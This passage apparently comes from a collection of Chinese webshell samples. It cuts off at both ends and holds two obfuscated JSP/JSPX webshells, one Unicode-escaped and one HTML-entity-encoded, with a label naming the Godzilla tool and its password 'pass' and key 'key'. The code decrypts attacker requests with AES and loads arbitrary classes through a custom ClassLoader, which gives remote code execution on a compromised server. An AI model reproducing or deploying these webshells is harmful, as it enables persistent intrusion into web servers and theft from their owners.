u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"getDecoder"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"decodeBuffer"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d%><%\u0074\u0072\u0079\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0064\u0061\u0074\u0061\u003d\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0070\u0061\u0073\u0073\u0029\u0029\u003b\u0064\u0061\u0074\u0061\u003d\u0078\u0028\u0064\u0061\u0074\u0061\u002c\u0020\u0066\u0061\u006c\u0073\u0065\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u003d\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u002c\u006e\u0065\u0077\u0020\u0058\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0051\u0028\u0064\u0061\u0074\u0061\u0029\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"parameters"\u002c\u0064\u0061\u0074\u0061\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0061\u0072\u0072\u004f\u0075\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0066\u003d\u0028\u0028\u0043\u006c\u0061\u0073\u0073\u0029\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0036\u0029\u0029\u003b\u0066\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0078\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u002e\u0074\u006f\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u0028\u0029\u002c\u0020\u0074\u0072\u0075\u0065\u0029\u0029\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u0029\u003b\u007d\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u007d%>

Html 哥斯拉

哥斯拉,密码 pass,密钥 key

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x78;&#x63;&#x3d;&#x22;&#x33;&#x63;&#x36;&#x65;&#x30;&#x62;&#x38;&#x61;&#x39;&#x63;&#x31;&#x35;&#x32;&#x32;&#x34;&#x61;&#x22;&#x3b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x70;&#x61;&#x73;&#x73;&#x3d;&#x22;&#x70;&#x61;&#x73;&#x73;&#x22;&#x3b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x64;&#x35;&#x3d;&#x6d;&#x64;&#x35;&#x28;&#x70;&#x61;&#x73;&#x73;&#x2b;&#x78;&#x63;&#x29;&#x3b;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x58;&#x20;&#x65;&#x78;&#x74;&#x65;&#x6e;&#x64;&#x73;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x7b;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x58;&#x28;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x20;&#x7a;&#x29;&#x7b;&#x73;&#x75;&#x70;&#x65;&#x72;&#x28;&#x7a;&#x29;&#x3b;&#x7d;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x51;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x63;&#x62;&#x29;&#x7b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x73;&#x75;&#x70;&#x65;&#x72;&#x2e;&#x64;&#x65;&#x66;&#x69;&#x6e;&#x65;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x63;&#x62;&#x2c;&#x20;&#x30;&#x2c;&#x20;&#x63;&#x62;&#x2e;&#x6c;&#x65;&#x6e;&#x67;&#x74;&#x68;&#x29;&#x3b;&#x7d;&#x20;&#x7d;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x78;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x73;&#x2c;&#x62;&#x6f;&#x6f;&#x6c;&#x65;&#x61;&#x6e;&#x20;&#x6d;&#x29;&#x7b;&#x20;&#x74;&#x72;&#x79;&#x7b;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x43;&#x69;&#x70;&#x68;&#x65;&#x72;&#x20;&#x63;&#x3d;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x43;&#x69;&#x70;&#x68;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x22;&#x41;&#x45;&#x53;&#x22;&#x29;&#x3b;&#x63;&#x2e;&#x69;&#x6e;&#x69;&#x74;&#x28;&#x6d;&#x3f;&#x31;&#x3a;&#x32;&#x2c;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x73;&#x70;&#x65;&#x63;&#x2e;&#x53;&#x65;&#x63;&#x72;&#x65;&#x74;&#x4b;&#x65;&#x79;&#x53;&#x70;&#x65;&#x63;&#x28;&#x78;&#x63;&#x2e;&#x67;&#x65;&#x74;&#x42;&#x79;&#x74;&#x65;&#x73;&#x28;&#x29;&#x2c;&#x22;&#x41;&#x45;&#x53;&#x22;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x63;&#x2e;&#x64;&#x6f;&#x46;&#x69;&#x6e;&#x61;&#x6c;&#x28;&#x73;&#x29;&#x3b;&#x20;&#x7d;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x7b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x20;&#x7d;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x64;&#x35;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x73;&#x29;&#x20;&#x7b;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x72;&#x65;&#x74;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x73;&#x65;&#x63;&#x75;&#x72;&#x69;&#x74;&#x79;&#x2e;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x44;&#x69;&#x67;&#x65;&#x73;&#x74;&#x20;&#x6d;&#x3b;&#x6d;&#x20;&#x3d;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x73;&#x65;&#x63;&#x75;&#x72;&#x69;&#x74;&#x79;&#x2e;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x44;&#x69;&#x67;&#x65;&#x73;&#x74;&#x2e;&#x67;&#x65;&#x74;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x22;&#x4d;&#x44;&#x35;&#x22;&#x29;&#x3b;&#x6d;&#x2e;&#x75;&#x70;&#x64;&#x61;&#x74;&#x65;&#x28;&#x73;&#x2e;&#x67;&#x65;&#x74;&#x42;&#x79;&#x74;&#x65;&#x73;&#x28;&#x29;&#x2c;&#x20;&#x30;&#x2c;&#x20;&#x73;&#x2e;&#x6c;&#x65;&#x6e;&#x67;&#x74;&#x68;&#x28;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x74;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6d;&#x61;&#x74;&#x68;&#x2e;&#x42;&#x69;&#x67;&#x49;&#x6e;&#x74;&#x65;&#x67;&#x65;&#x72;&#x28;&#x31;&#x2c;&#x20;&#x6d;&#x2e;&#x64;&#x69;&#x67;&#x65;&#x73;&#x74;&#x28;&#x29;&#x29;&#x2e;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x31;&#x36;&#x29;&#x2e;&#x74;&#x6f;&#x55;&#x70;&#x70;&#x65;&#x72;&#x43;&#x61;&#x73;&#x65;&#x28;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x72;&#x65;&#x74;&#x3b;&#x20;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x62;&#x73;&#x29;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x77;&#x73;&#x20;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x7b;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3b;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x22;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x67;&#x65;&#x74;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x3b;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x29;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x54;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x73;&#x75;&#x6e;&#x2e;&#x6d;&#x69;&#x73;&#x63;&#x2e;&#x42;&#x41;&#x53;&#x45;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x29;&#x3b;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x29;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x32;&#x29;&#x20;&#x7b;&#x7d;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3b;&#x20;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x62;&#x73;&#x29;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x77;&#x73;&#x20;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x7b;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3b;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x22;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x67;&#x65;&#x74;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x3b;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x29;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x73;&#x75;&#x6e;&#x2e;&#x6d;&#x69;&#x73;&#x63;&#x2e;&#x42;&#x41;&#x53;&#x45;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x29;&#x3b;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x29;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x53;&#x74;&#x7